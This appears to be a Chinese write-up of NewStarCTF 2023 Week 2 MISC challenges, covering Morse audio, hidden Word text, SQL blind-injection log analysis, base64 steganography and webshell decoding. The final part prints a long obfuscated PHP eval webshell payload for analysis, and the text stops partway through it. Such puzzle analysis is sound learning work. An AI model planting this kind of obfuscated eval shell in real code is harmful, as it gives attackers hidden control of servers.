[NewStarCTF2023]Week2

Offcial_WP

MISC

永不消逝的电波

一听就是摩斯电码 Audacity打开
img

..-. .-.. .- --. - .... . -... . ... - -.-. - ..-. . .-. .. ... -.-- --- ..-

img

flag

flag{thebestctferisyou}

新建Word文档

把选项里面的隐藏文字打开
img
或者把.docx改为.zip
在document.xml里能找到隐藏内容
img
新佛曰编码
img

flag

flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}

1-序章

sql盲注日志分析,找了脚本,改一下就能用,python2运行一下就行

import re
import urllib
 
f = open('D:/access.log','r')  # 下载的access.log文件的绝对路径,笔者是存在了d盘根目录下~
lines = f.readlines()
datas = []
for line in lines:
    t = urllib.unquote(line)     # 就是将文本进行 urldecode 解码
    if '1765' in t and 'flag' in t:  # 过滤出与flag相关,正确的猜解(只要200的)
        datas.append(t)
 
flag_ascii = {}  
for data in datas:
    matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep', data)   # 在date 中搜索符合正则表达的字符串并 将匹配的字符串存入变量 matchObj 中
    if matchObj:
        key = int(matchObj.group(1))  # 取变量matchObj 中 的第一个括号里的内容 (也就是上条语句中的 (.*?)中的内容)并转为10进制
        value = int(matchObj.group(2))+1  # 取变量matchObj中的第二个括号里的内容,并转为 10 进制
        flag_ascii[key] = value     # 使用字典,保存最后一次猜解正确的ascii码
        
flag = ''
for value in flag_ascii.values():
    flag += chr(value)
    
print flag

flag

flag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}

base!

base64隐写

import re
import base64

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

# ccc.txt为待解密的base64隐写字符串所在的文件
f = open('D:/CTF/WP/NewStar/Week2/附件/Misc/base.txt','r')
base64str = f.readline()

# pattern2用于匹配两个等号情况时,等号前的一个字符
# pattern2用于匹配一个等号情况时,等号前的一个字符
pattern2 = r'(\S)==$'
pattern1 = r'(\S)=$'

# 提取后的隐写二进制字符加入binstring中
binstring = ''

# 逐行读取待解密的base64隐写字符串,逐行处理
while(base64str):
    # 先匹配两个等号的情况,如果匹配不上,再配置一个等号的情况
    # 如果无等号,则没有隐藏,无需处理
    if re.compile(pattern2).findall(base64str):
        # mstr为等号前的一个字符,该字符为隐写二进制信息所在的字符
        mstr = re.compile(pattern2).findall(base64str)[0]
        # 确认mstr字符对应的base64二进制数,赋值给mbin
        mbin = bin(b64chars.find(mstr))
        # mbin格式如0b100,mbin[0:2]为0b
        # mbin[2:].zfill(6)为将0b后面的二进制数前面补0,使0b后面的长度为6
        mbin2 = mbin[0:2] + mbin[2:].zfill(6)
        # 两个等号情况隐写了4位二进制数,所以提取mbin2的后4bit
        # 赋值给stegobin,这就是隐藏的二进制信息
        stegobin = mbin2[-4:]
        binstring += stegobin
    elif re.compile(pattern1).findall(base64str):
        mstr = re.compile(pattern1).findall(base64str)[0]
        mbin = bin(b64chars.find(mstr))
        mbin2 = mbin[0:2] + mbin[2:].zfill(6)
        # 一个等号情况隐写了2位二进制数,所以提取mbin2的后2bit
        stegobin = mbin2[-2:]
        binstring += stegobin
    base64str = f.readline()

# stegobin将各行隐藏的二进制字符拼接在一起
# 从第0位开始,8bit、8bit处理,所以range的步进为8
for i in range(0,len(binstring),8):
    # int(xxx,2),将二进制字符串转换为10进制的整数,再用chr()转为字符
    print(chr(int(binstring[i:i+8],2)),end='')
# iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8

img

flag

flag{b4se_1s_4_g0od_c0d3}

WebShell的利用

<?php
function dec($enc)
{
    preg_match('/base64_decode\(\'(.*?)\'\)/', $enc, $matches);
//    var_dump($matches);
    $encry = $matches[1];
//    echo $encry;
    $decoded = base64_decode($encry);
// 第一次rot13解码
    $decoded = str_rot13($decoded);
// uu解码
    $decoded = convert_uudecode($decoded);
// 第二次rot13解码
    $decoded = str_rot13($decoded);
    return $decoded;
}

$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('WjxTUkE+Mk5TOUk1Pzk2KVQsMyxVPCYpTjo3KVI5SF1VOiclRTwmKUQ8T05TOUk1Pzk2KVQsMyxVO0lMUwpaPFA4RzdKJUU8JilEPE9AVDJUPVgxR05LNE9aOj4jNScwUU5LLDQtWj4jKTgyNDFTNlNEWDI0LTAzJi0nClo9SShGNiRSNi00OTMsNFIiPVQhTDE0PVc+Uk4oMSNOJywjNScwUU5LLDQtWj4jKTgyNDFTNlNEWDI0KEMKWj41Vig6Uy1BMEgtLi0kNVo8NU43MiRASzVKOUw0US0yLjRMKTQ1PSgwR1JHOkc0Qy01UiE0UFJBMFQ8RwpaPUclJjwmVigyIzU5NjUlJDlHVkotJz04MUoxWTA1JTMxRyVMMDUpKjQ1OEM2ND0uOzU9SSwmJTA+NihMCloxUTlINSQlSTE0OSE9UGBDMFE9OjlRJTM1VDkjMjQxSDFIJTIsJC0pPCJaKD4jMU82UTkhMFI9WTpUPSEKWjFUIVcyJEBINjVSMTEmPSo9RjFKNiQ9RzskJTE0Rz0hPjQlMjJSJTYsJU4yNlJOKj1GMEQyNzlHLVFOWQpaLDRdOjRUMVQ2NzhDPiQlKThQTiEyIzBGNlQ5JTNROVoyNU4iMiZVQzIkOEM7JVJKMTVWODFHMEQwRzlHClo6UTRENUg1Ij4nYEMxJkNDLDROSTRQISg0SD0vNlItJC4kNVc4SUwjMichTDVKPVc+UVJJPSZENjs0QEgKWjA3PSg+NT0xPjU1KT4mKVQ1SUdDLSVWKDhTWioxR0tENUc9OjpHNVkyNVY6NDROUDYnPSQsNCkyNlApIQpaNDMhVTBTSCguNDkmOlRWNzFHS1gwNzlINlIhTDhTWigxSlI2MDQ5JD40OSc0UCEiMVIoTDIlMS80NVYzClo0UFIiPUpSJTVHPTosNFIxPic9Oj1HMVgxUiUzNVI9JzVTOTc0IyFQMEghNztSTjEtJz06MiNARTIkPUsKWj01VjM1UFIqMUktKDBHOTI2JFZKNEdONjI3IVk1SCkvNVElSjI0OToxSClNMEc5Ty40NUo0SE4hPVEwTApaMTZIUz4lPSc0UCElOzMhSDBKPSQ+NVZKNUc5NzFHRFM1R0BHOyQlTDVHKTg9RiU0NlIpJDskJVo+NTU5CloyNS0iMlExUDtSUjExNyUiPUc1KDZRUiQsUSVaPTUlIz1RMUw2JD1IMSQ9STRTRDY7NF00MDdSJC01PScKWjA0NSIyNilZMDRARz1SVkkzNFIkOzU5SzBSKTotSD0pNUhOOjFHUiowUiUzNTVWMjEmViU7N1I1NCdSTwpaLVFOJzE1KSEyJzBENVQ8Rzg0RDI2U1o3PiQlMTY1JSUwUTknMTQxNjFUMEMxUiRDOjQlTDVTPTc0IzFLClowNFJDLSQ5KDpUPTo9VCFIMUglKTYkLSk8IlooMjU9NzBHOS00USVKOVAhJDRUMTgyVD0uLEctJj0iWiEKWjFGIVgwSj0oLDVOJy0nVjgyNDBEMVFORDQ1UiYyNFY4NDc1JzJUOU86RzRDOUgpITInYEwwVD1QNTQlKQpaPiZEITI0Q0kwNSUlMFFOMTMmJSMxUTFTMDUhSzskJUwzUy02MSYtQTA1JTo9NFInM0c9JjQnMVUwNSVLClo+USlMMTRWITs1LTUxUCVHOlElWj41OSE+NTlIMUglSDFHVkk9JlomPjU4RTZSJSQtNT0xLSMhIjFUYEMKWjIlITI9UlYpNVMpJzQ1OUw2UThLLCQlKTMmSDA+NihDMiUtNj1RLSg4Rzk3MUdSNTBHPU85USUzNVNaIwpaPVRgTDBUPEQ1NVYpPSZaKD1RTlowNFI2LjU9WjI0PSIxSmBDNVNEMzElVjI9JzUhOzY9JjFKPTI5SD1aClosIzk6PVElLjE0PTY+JC0oOVJOKj1GYEQyNz06LDROMzVTMToyJ05UNiUlLzU0KSc1UCk3NEdIODA1KUQKWjBRJUo1UC02MjdARDFSIUs6NCUpNFRSJj1IOEMwUT1POkc5MD40JTo0VGBIMUlDRywkJSg4UCEmNFAxSApaMEdSMjpRPS44SUw6MUdINjImR0c+NC0mPCMhKDQlKUwwU0g6PTQ5MTNITiMxUTBYMDRSLTYkJSg8IzUhClo7NS01MTUtOiw0NEMzSDUiOyQxTDFIJSk1NU4nPSNSJT1RQEMwN1I2OEg9MTlUTjcyNihYMDQ9KC01IUwKWjhTRCExUCFJNlRSMjpHTjE5RzkoPUgpWDA2RCg9US0oPCMlODQ0SCUyJzkkOVFOJjI2TCMxR05MNVNHRApaMTVWKDpQKTc0MyU2NlE5JC40OScxND0lNDRDSjA1LEMsJVYxPDQ5NzQjYEQwRzlDNiRWSjNQISExUjlZClowNzlMMzVWMTE0TCU7MyUmMjdOSzs0JTM1VE4iOzRASDFTSC8xUk4nOFM9JjQzIVAwNE5IMFEpSjRINSgKWj1TKVcyJzkoOzQlJzI0Vjo9SClNMjc5KC1HJEQ1UCUhNCclJjFJVlA7UlIpNEcpNzs1KEQ2JDkyOyU9WgpaM0gpITI0MEsxNkhHLCQ1MTVQKSgsNihGMEo5JD41ViczIyU3MVFOVzIkPUs4NVYnMSZaIT1ILSg2Uik6Clo6R05JMTUlIj1HMUwxSCUpMUctJzwjITY7NS05NCdSTzpRJTM1SCU5MVEwSDYlJVAyJC0nOFBSKTQlLTYKWjZRTkc+NU4nMydOOTFUQEs1VFJPOFJWSjIjUiE7NF01MFE4QywkTiYyNU4iMjRMSDVIJSUyJVYnPSZEKQpaNDMhVTY1KUM5SD1KLCc5Kj1SKTgyVD0zNSU5KT0mViY9RiFPNjUlKTBSPVksJiUpPUoxWTA1JS80UlYpClo0RyklNDQwRDInOSw7JCUzMyMxITQ3YEQ1SUg3MiQpKC4jOSU7NDUxMFFORzhIOSc1UyUsNFNWVzI1JEQKWjEkJScxJ1I4MSYtQTBKOS00UjknNVAhJCwnTlcwNDkoPjVWMzRHKToxSFZNNUc5OjpHTic0Rz06NDROSApaMVNIUz4lPSg6U0goOyNgRTZROSw5RzEnM1AlNzFJKEwwNS02ODVVQzwjUjc9RzFONlFSKDpRJSYyNVIwClo+NihYMiQ5TDZSVicxNFY2MUk4RDY0PSg6R04wMjU1Ij41KUwyVDxHLDQpJjRPWiExSlI2NlFORz40OTEKWjRINSk+J0BMNUpSTz5RLUoyIzElMUdIJjVHOSQ5RyUnLCZaOTFSVkg1VD0zMiREMjZSTio9SDlMNVE9NgpaLjROTDMmLSEyNVZQNUlIJCw0KSg6UCkoMUo1OTY1ISQ+NU4nNlRWJjQ0S1gwNzlINDVWSTImPSE9RiUlClo2NDlHLSQ1Wj4jLToyJyUmMDQ9LzU0LSguIzUoMVFOWjA0UiE7UjlXOElMIzI0NUcxSCUvMiQtMjEjJSEKWjI0RFAwRzktO1JOMSw0NSc+NilXMDUtNixSUkoyI1IqPUg4QzBHOTY6RzlNM0glITI0JTI2U0gyPjRSSgpaNVBSNzs0TkgwU0gsLjU9SjRITiMxSDhIMVIkRDtSIUw4Uzk2OzdASTBHUjI+NVJKNFAhIzFHQ1g1SGBDClo4USkpNUcpOD1GJTQzJSkkOyQlWiwjOTk0NDUiNlNIKTFIVic4U0Q3LCM1KDA3OSg+NVJaMiMhODFUYEQKWjIlIUssRyUyPDU5IjQ0S0Q2JE4kNiRWSjNHNTcyJihEMiVgQyxSVko8NEwlNDUtJjVRTlMtUSUwMiYtIQpaNEc1JjVKPEQ1USkyNlNWKDFGJSMwVE5DLTVWMS0jITcxSShDMjUxLzVSVig+NSUlOyZWSzVHOUctJE4wClo0VFYhNEdMWDFRTFA7UlYyPDQ5Oj1JLSUwRzhHLSQ5KDpQOToyJyU2MDc9Nj5RNEM8IlohNCMhTTBIIToKWj01TjExJ1I4MiZWVzIjIUctUS0nMSM1OjFHJTYxSjk6OkdOJzNHRDo0NDUmNjQ9LD4lPSY9I042OzROSApaNCdSTy1HJSYsIyU6MUdOVDBUOVcsJCUyNlNIJjQ0TkkwU0QkOkc9MTRIOTcxVEBEMDRARzg0LSYwNDk3CloxRiUlMSUpOjpRJEQ1UCkiNFQwTDZRPUwyJD1KPCZEIT1UNSw2UiUkLjVOMCwjJTYyJlY4MlQ9SDFHNTAKWjRTWig0JS03MDdSJTFSVko4SDUnPUgoSDE2SEs4US0oPSYtKjQ0S0UxNSFHLjROJiwmKSM0JVZMMFIlJApaLCQ5MDImRDc7N05LMFFSMzBSPUo1UCknNCVWWDEzYEg2USUpMDU1JTNTLUE2UT0pMlJOMThHMTgxSmBDClo2U0QoLFElTDRQNTc0IzBDMFE5QzpHJTEsJ1IhNDQ1MTFUPS4sNVIyNlM5NzI0RFgwSCUkLTQlWjEnPSwKWjRRMVcxNkhMNDQlSTE0ViY9RyUkNVE5MjpHTko+NEgwPjYpVzA2SEw2UlZaMjRWOjFIKEMxSCEoLUhWWQpaMidWOj1KJSIxU0hTLCU9JzZQJSk0UDFJMFNIJTNROTE0Rz0mNCNOWDInQEc4NCkzNlBSNz1HMVo1UVIuClo6USUyLTU5OjRIKVAxVD0lNVElJj0lTio9RiUnNiRSQzslPVo+JikiOzQxTDVJSDYsJFJKOFBSJjQnUiEKWjZUPUMtNU4wLDU1NzRRMEQyJSEoPTQlMDwnUjc9SC03MjdSLi1HTkw1Uy0hNFQhUDA2SFMsNU4yMSMpNwpaNDdOWTBTRCguNFZHOElMOiwnMVA1UT02LCVWMjlTWiE+JzU1NjUhJCw1VicyNDE4MVQxUzA3OUg1JVYyClo4UDU3NDMwRDI3OUM7NTlZMiMtOjI1LSIyNkg2PiQtKDlQMSEyNERONlE5LTtSOScsNTk5MVQwRTInOUsKWi1SIUw4UDklLCM1NzZRPSg+NTlKLDU1OjImVlgxUiEoOEhWKDwmPTc7NlZKNVE9LC1HJSYsIzUhNCclJgpaMUlIUDE1PSc2UCUmNCRASDZRUjI6UTkxMydSNzI0TFk1SGBDODQpMzNHOTgxRzFMNjQ9LDYkVkozNDUnClo+J2BYMDRARzg1Vlk8NCkiMUgtKDElKVMsNFIzNUctIjRIPSoxVD02PUdOSTRQPSE0RmBENlItMi0kMVkKWjpUTic9UURZMDRARz1SVkoxNVYmNDRSNjVHOSg7JT0pMyYlIzFRSDI2JDFQO1ElMTZUNSkxR0NENiROOgpaLTQ5MSw1Tjk0J2BINic8RDFSTic9JkQpNDMhWjA0OSgtNU4nLCdWKT1RQ0wxNzkzMEclSjInUjgxR10mClowR1JLOVI9STImLSMyJilYMlE9Liw1PSYuIyEoPjREUDQnUk8sJDVZPidSITQ0MVcxNSU2ODQpJjpQPTcKWjQkTlo2U0Q6Okg5JzEjLSw0UTBEMVFORyxIVkkxJi04NCMxSjBROSgtRyUxMiZaOjRILSIxNkhINVEpJgpaPCMlKDskTlMwNS0hMlFSWjVQJTc0UTE4MlQ9Mj4lPSY8Jlo3LDU4RzZROSw5RzEnM0hOIjFQYEMyJz1LClo4NCUpM1Q1NzQmVk4xSlJDOlElMT4mKSM9R1IqNlNIJTU1Tic4U1omNEdIITA0TkMtNClKOEg1Jz1UYEMKWjE2R0MtUSUxMTQpJjNTLUE2UVIhNVFOWi0nUiMxVDBJMiMhRzhRKVkwNzElMUdIJTBROVctNDVaNFMlOgpaLDRMTDA2SDM1SE4yOlNWITFQYEUwUiUpMjQxWjpUPSg9SmBMMTZIMzBRJUw0Rzk4NDYtJTVHOSw7JCUpClo1U1YwPjYoWDA3OUgzJVZJMSM1JzQ0SCYyNzlDOkclMzMjKToyJ0BHMTUlLCwkLSY9IzklLCMxVzZUPSgKWiw1OUotIyU4MiZWWTI1JVg1NVIxMSYtNz1HNSMyVDkyOkc5TDVQKSE+NS0iMTZHRywkKSc0Uk4qPUc1NgpaMDQ5SypIPEMzSFYhMiYtJjFJR0gxNVIoOFNENjs1KUw2UU5ENVI9SjI1NSIxUTBIMTZEKDg1UjAzNkwiCloxSC0mMjdORyw0UjEsJkg6PVE1MjZUPS0xUT1JOFBSJjQ3UjowNFIyLjQlRzhJTDk9RzUiMUglOj5SUiYKWjRTRCEyNEgkMDROTDVSPTA6UCE4MVQwSTIlIUs4UlYoOFAlIjFHQ0Q1UTkkKkclKC0mJSE+NDUqNUo9JApaLCQ4RD0mViE7N1I2MDUlKTJROSc1VFYjMVIoTDE3OSg+NSFMOFApITQ3UjU2NDkkLDRWSi0nPTkxSSlZClo1SUQoPlJWMTEjUjk7NEBDNjQ5RzolOVoyJik6MjUtIjJUPS4sJE5JNFA9KD1KUiswUilMNlI5WjVQISEKWjInIVgxUiEoOjVWSTEmPTo9SClKNUc5MjYkVko1UCElNEdMVzE2SEs5RyhENUcpOjFTVUMwNDlDKkclSQpaPjRaOjQ0TlQwNzlYMVFOSzhTRDYsNTlRMEdORy0kMVozSDUiMUdDSTE2SEwwNVVDPSdSNjFIOEM1Rz02ClosUUBDPSZEIz1HNSYxVDFQO1ElKTNHOSE7NjhDMUpORzpRQEM9Jjk5PUdATDFUPSU1UT1JNlNaJjQ3NTYKWjZRUjY+JDUxOUc5NjImVUcyJkhLLFEpWjw0TCYxR101Mic9NipHJSk1SE4hNEdMSDVTSDM1NDBEPSMlJgpaNSRdMTQnUk8tJE4mPiYtITInIVAwUiRENSU9JzEmSDcxVE5LMFNEJD40Vkk6VD0iMUpAQzA1JSg9USVMClowNTk4MUgtNjI3OUMtJEBDMSMtOTQlVUQ2JSUuLEcpJj0iWiEyNT1BNlQ5Oj00KTE0R04sNFExODJUPTYKWj41OSg5UzklOyROWTBIJSgtNTlKMSMhJiwkMEU1SChHPiQlSTE0ViY9RyU1MDQ9QzslPUk9NSk6PVFSRwpaMSZEWDFRUks4UE4hNFNWTDA1JSg5SD1KMjQ1Jz41VlQyJDkoOlJWSTMmPTYxJi1BMDUpQyw1PUoyNU4jClo0UTBEMiQ5SzskJUwwNFY4NDUtNDVHOTo6UVIyLTUlOTFHUio2UThDPUg5JzwmWiYxVDUxNlQ9KDpIUloKWjI0OSk9VDBYMDQ5KD40KVkzNFYmOzRSNTBRTkM5SD0yLSZWMD42KEMyNS0sPTQlMjw1Vio0NS0lMUgtLgpaLUdOTDMmRCM0NDBIMFQ8RDVIUiYyJlYlOzc1NTY0OSQtNU4xOEcxIjFJKVk1SUQoLFJWMTwjUiE9RjUlClowNSk6LiU5TDhUNSE0JVZIMUc9LzVSOSc4Uk4qPUZgRDFKPTI6SDxENVAxOj1RSCoyNkg2PUg5KDwmPSgKWjFQIU42UTk6LDQpSjRINTcxR0RYMVQ9Sy1RKUs8NCk3OzQlNTE1JU8sJCUxMidWIT1HMEw2NSRHPjQtJgpaMyNSNiwjMEUwU0glMFE5LjhJTCE0JyUmMUlDRDU1PSYzJjk2OyRASTZRTkQwUVIxM0dOIjI3IVM1SCEoClo7JCVMMDU5Nz1HMEMxSk5LOlFAQzEnTiI+J2BMNlE9JTVRKSc8JlopNFFdMjZSJSUzUTVaPSMhOTFRRFcKWjA1JUssSCFMOFNaJT1RTkw2UTkoOEcpSjhHNTc0UTBEMiUhSz1RJTMxJlYnNDRIJTBHTlc7JT0xLDVOIwpaNCRIMjVRPEQyJCUmOlApKD1RTks2Nz0pMFJWMDpUPTcxR0RZNUpSLC0lVkwxI1ImNDUtNTA0PS42JFZKCloxND0qPVQwQzVHOEMsSFYxPDQ5NzFILSYyN05PLSQ5MTImJSMyJzFPMVIlMixROTI5UDEoMVAhTzBHOSwKWjlITkoxIyEmLCROWDA0OTM1NVJKMTQpNz1TVk02JDk6LCU9KTM1Vjo0SDlMNUdMUDtSUjAxIzU6NDU5TQpaMTUlQy1HJEMtNVI6NEgtJjZTSC8xUS0oOFAlKDQnTk4wNSEpMlFWMTRTSCw0VDBFMiQ5KDhIVjEyIyU3CloxRyUnNjROMixRTicsJi06PjU9IjZRPUg1NVYnPSZaJj5RXTE0J1JPLFFAQzEmKTk0SClMMUglJTEkJScKWjwjITY7NF0xNlItMi00MVo4SDU3MUgpUzVGJTY9NCUxMSMlOjFILSgwRzhHOVElKTVTRCE+NVVIMDZINgpaLCQ1Mz0mViY0JE5LNjQ9JD40Vko0UyUjMVNWODJUPSUxNVYpPCZaIT4nNTowNSUkPjQ5JzRQISk9UUNMCloxNkQoPiQlKTRQNTo9SS01MUpOTypHJTI9JlYjPUdEUDI2SC4sUTkyOlApKD40SEE2VD0lMlEpSjRIOTgKWjRSVlgxUiEyOFJSKD00VioxJi1BNlQ5RDJRKUosNU43MVI5WDIjIUgxSFIwMiNSNzs0SCQ1RzlLLCROMQpaNEg9OjRHJTY1Rz0hMTQpJzRQISU7MyFNMDUhITBRVjE1UyUkNFRgRzA1IUs7NCVMM0c5ITszJTU2UVJPClosNE4pNVNOMD42KEkyJDkoOyVSJzIjNSI9RzU2NiRSLjpHUjEsJ1IhMjUpTDVKPEM+ND1JOFBSJT1RTk4KWjA3OSUxUTFaOVRSIzI2KFg1SjlLPVEpWjEmWic0NFI3MVIlLDlSPTM1SE4iNEddJjVKPSQ4NE5JNFJOKgpaPUdIKDBHTjo5RyUoLSZWOTQ0QEQwNkglMTVWMjEmRDcxUilPMEc9JD41VjE6UyUoPUpgTDFSYEMsSFZKClo8NDk5PVAlNTFKTlcsNE5ZLCc1ITRHMUgyJSUuLFE5MzZTOSEyIzFZNlE5OjhHJVc4SUwhNDclIjJRPS8KWjFHNTA9Jk4hNEdINTBSKUw2USlJOlMlOjI0S0QyJDxDLFJSMDI0Vjo9SlInMlQ5MipIPVoyIyUhPUdOSApaNUghVyw0Ukk8JkQhNDUoRzZRUiQ6R05aM1AtIjInMEQ1R1IsOyUhTDhQMSg0NEBGMDUlOjpRNTE1UC0iCloyJVVKMDQ9TDM1Vkk2Uz0iPUg4RDY0OTY7JCVLPSMpIz1RMVQ2JSVMMSVWJjRTRCE0UTUiMDdSMi01UicKWjlHOSIxVCFTMDQ9Sy01VikxJlYlMUg5TjBRTlM2JFZJLDQ5NjImVUcyJSVLPjVSMDZQJSE7NEglMEc5RwpaKkclJz41Tjk0NEBEMFQ9Nj5RUkw9JlooPVIpTzBSKUgyUk4xOlRWIzFKYEowN1ItNiQlKTRQUjk0IyU1Clo1RzksOVI5WjInNSE0JyFMNUoxUDtSVig+NTkoNDUoRDBHOUMsUU4wMidWITQkNS4xUiUtMTROSjVQOSgKWjFKTlg2U0REMVElWjVQISc0SkBEMVIxLzQ0KTExJi06OzQlNTBRPUc6RzVaNEhWIT1HMEw2NSUsPiRSSwpaOFNIITQ0Tk40J1JPKkg8RTNHRDo0NDUuMTZIRyw0Ukw+I04hNCdOSTZRTkc5SE4xNFRSODI1VlMwNS02Clo7NCUoPCY9Nj1HNTYwRzlPOkdSMSwjKSMyJyUiMVE9JTEkLSY0UCElPlFdMjA3UjY5SFZJLCdOOjI3TjgKWjJUPVAyJD1JPCNSKDIkNS02UiUlM1E1Wiw0OSk+JilYMDRSLD5RJTExNDkhPUdSNTBROUctSD0nLCYtOgpaOyRETDVTSDMxNDkxNVApNzQ1LSQwUCUyPjVWJzM0TiExVE5YMTMhITRRJUkxNCkiPSYtQTY0PSQtNVYmClo6UCUnPUpAQzVGKS81USVJPCNOJTQ1LSYxSjlDLjU9SzEmLSE0NVZIMlQ9LiwkKSY9Jj0hMiMxTjY1IUQKWjJSTicsNDUkLCZWWDA2SEs7NVYyPCdSJj1IOU4yJz1HOkc0RCwnVjA+NilXMTMlNzY0KSk1UFImMUg5TQpaNjQ5OjslPUk+NEQ6PjUoTDY3OVcsNC0mMyZONjslKU8wSj0lNFFOMTEmJSg+I05TNUglKTM0LUk8NDk2CloxRzBDNlFSQzpHJSYyIykiNDQxUDVKPVAxJC0nPCVOKj1HMUsxSlJPLFFAQzEjOSI+JzBINUlIMj1IUiYKWjpQISgxR10yNlFSMzBRNVk6SDkpPidOWDVKOEMtJCUwNlNaJj1HXSUwUTlHOUc1WTImWjo9UUhBMFQ9JQpaNVJSJjVTWiE+JzU2MDRSMjhIPUc4SUwjNCVWTDYlJVM+JD1MNlNWITFQIUg2VFIzMVFWSjI0MTcxSmBDCloyJD0yLSVWTDEjUjo9RjFMMEc5LC4lPUw4UC05NDRARzE2SC0xNCkmOlA1JTs1KU42UCFIMFI5SjRHMSwKWjRSVlk1SUdENjUhTDhQMSE0JE5QNlAlJCw0JVoxJ1YpPiMxWDFUUjc0NClMNFRSOjFGMU02JDk6LjQ0RApaNVMxIT40JTY1Rz0oLDQ9STwjMSgsNilNMDUpRDVSOSczUCEnPiVWVDA1IUw2JCkyPSMlNzszJSgzJSk6Clo2JFZKNFApJSwlVlQyJDkoOkhWJzEmLTc9RyUnNjROMixRTik1VDUhMjUtIjJUOEM4NE5JNlNaKTQ0XTcKWjZUOTo9NDVaPTQ1ODI3TlcwNkgyPjVWKDw1OTcxR10lMFFSQzlHJTEyNkwhNEhWTDBUMVA7UlIxMTVWJwpaNDRLRTFSJTosNDkyLSZEIj40JSo1UT0zMSREMjImVig9UU5QNlQ9JDpHVko4R04jMVQwTDFUVi82UlYnClozNTk6OzRdJTVHTlcsJDVaPiMxITQ0RFQ1Rz0pNTQpJjpQPTc0JE5QNCdSTyw0QEQzJlYjPUdETzJSJS4KWixHKSg9Jkg3MjRINzZROTosNT1aMSMhJjQkRFkwNkhMNDQpSzwnUjo7NVZKNiQ9TzslPEMzSDU6MUdOTApaNjUhVz4lUiYzI1I2OzdOTDY1ITo6R1JaMzROIzFUMTgyVDlXLDQpKDhTPTY7JEBHNlQ5LTJRVic1UCU3CloyNzBEMDRSNjpIViYzJj0hOzMlNTA0OTo7JFIxPiZEIj4nYEgxSCUpMSVOJjRPWiExUCFJNlE9LTU0NVkKWjpUTjgxVGBDMidARzkkLSg8IyUhPSYtQTZSJSQtNDlZOEg5IzRSVloxUi0sPTVWSTMmPTc9SC03MTMhRwpaOkclKTVTKSI0RyUyMDc9Uyw1Tig6UCkoMiM1MjA0UjYuNDlKNVAlITFSOVgyJD0vNVJWJzM1KTg0NzBECloyJz0uOzQlSzpUOTA+NilYMVJgQz5SVko8NCklOyZVQzInPTI5Uj1LPSM5IzI1KEQ2VD0tMiQtJiwmWigKWjFGJTcwUi0vMVI9SjEjLSg9SSlXMDUtNjslUkoxJ1IlOzc1NzFIJUsuNDVaMic5OjInMUwwVDxIMVFOSQpaMyVOKj1HNScxNSEyOyQlMj0nTjo0NDUiMUglKTFRLSczUDkoNCUoRzZRUiQ6UTknNVRSNjImOEcyJ1IsClo4USkzM1RSNj1ILTUxIyEkLDROJz4nTjg+JyFMNiVgQz5SPSY0T1ohNDROUTA0Tk8uNT0uOElMOTQkMEcKWjE1JEM+UVJJNFA9ISw1OEU2UiUoPjVOJzVHNSIxVGBEMjUtLD1IVik1UyknNDUoRjBROUcqRyUmNEhWIgpaNEdMUDVRPSQsR05KMiMpITQ3Tks2NSUlMlE5SSwmJSMxSk5YMVE5TDM1IUw4UCUmMiQxTzBKUjcyUlYnClo0VD0oPUpASjA1KS80NCVKMSM1JTs2KUwwUVJPOyU9ST4jOTo9R05UNVQ9NzIkLSYtJjk3NFA1NzA1LS4KWi41TjEsNU4oPVM5VzInOUw2USVMNVA1Kj1HUiQ1UTkyNiRWSjVTJTYyNzFYMic5MjhRKUoyNFYmMUgpTQpaMEc9Ty40OTA+NU4hMidgSDZUPSw+JFJLOFAlKDQlKUwwNSlENlFSWjRQKSY0UzhIMTZESDRRJSg8Ji0iClo9SC0nMjROOjpRJTE+NSU4PichTDFRMVA7US1KMTZMIj1HMEMxSlIkOlElWj40RDoyNS0iMVNISDFHNTEKWjMmOSExSlIlNlIpRDBRNVksJ046MjYpWjFSJSg9UlYoPDUlJjFIKEUxUilXOlElKTI1JSMxVCUmMDc9MwpaNVEpMjZQJSU7M2BFNCdSTzlRTigzSCUjMVFIMjVTR0Q1NCUmMyZaKTQ1LSQwUCUyPjVOJzA1NSIxUihKClowNz1INDVWKDhHKSU7Ni0lMSUpOi41PUo+IzUjMiclLjFIJTMyJC0mMiMlKDFGJTcwN1IhO1I9SjEjLSEKWjFHRDgyVD0tMTROSjMiWjc0NE5YMFFOQy00JUo1VFYpMichWTVKTkg2NVIzNFMtKj1JVUMxSCEsOkc0RApaLCMlOj1UYEwwNzlQNTU9Jj4jJSY0UDFIMDUpRDZROTEyND0mNDVVRDA1JS80US0mNlRSNz0mLUEwNDklClo8NVYnMSYlKD4jTlQ1SChHPlEtSTMmPTYxSDlONVFSLjpRTkkxNSkhMVFATDVJSDI+UTkxPCZaKTRQNTkKWjZSLSE0Uj0xLSMhKT4nQEkyNSRDPVJWKDhHTCQ7NEtENUc5Ry40TiYyNVYwPjYpVzA0PUstJVYoPSY9IQpaPUg4RjBRTjo5SD0yM0glOjFSVlQwUT0kPjRSKDEjKTcxUU5VNjUpQzhIPUosJzkqPVIpWTA0PEQzRyVMCloxIzUiPUZgQzYkPTIsJDRDLSY5ITRIKVgwUiU3MiQtJzMlTio9RjBEMFE5Ry00Tlo+J1IiOyQ1IjJRPS8KWjVSPSY9Jj0hMUpSODZROTo9NT1JOlROOjRRQEQxUiFINTQtSTEnUiYxSChDMjc5LC40NVkyIyU6NDQwTApaMSZIUz40LSg+I1IhMVRASTBHUjMxUTVXOElMOjFRSDIyUiUzMTROSzlQMSg0UDFIMDUtITJRPTEzUCU3CloxVDBIMVIkRDYlVkoxIyU3OzMwRDI3UiQ7JT0xPiYpIj41PSoxUT06PlEtJzMmWjc9UCUvNlIlKDhHMVkKWjpQJSMyJilZMDRARz1IIUw4UCEoMUddMjZUOSQtNDlaOVRONzImVlcwNS0sLSQlMTImPSE0NFI1MFE9TwpaLVFOKTVTRDkxR05MMFE9MzU0Tkk4UCkoMUo1MTBHTkctNT1aOlRWKj1RRFgyNSUoOkclTDEjUjg0Ni02CloyJ1JPNiRWSjVQISIxVEBMMjUlLzMlVjExIzU4NDMwQzYkUks7NCUzMydWIjs0NSYwND0vMTQ9SzZQNSYKWjQzIVk2NDktMlJWMS0jKTg0UlZZMDQ4QzlRLScxJ1I6PUlVRDI3OU8sJ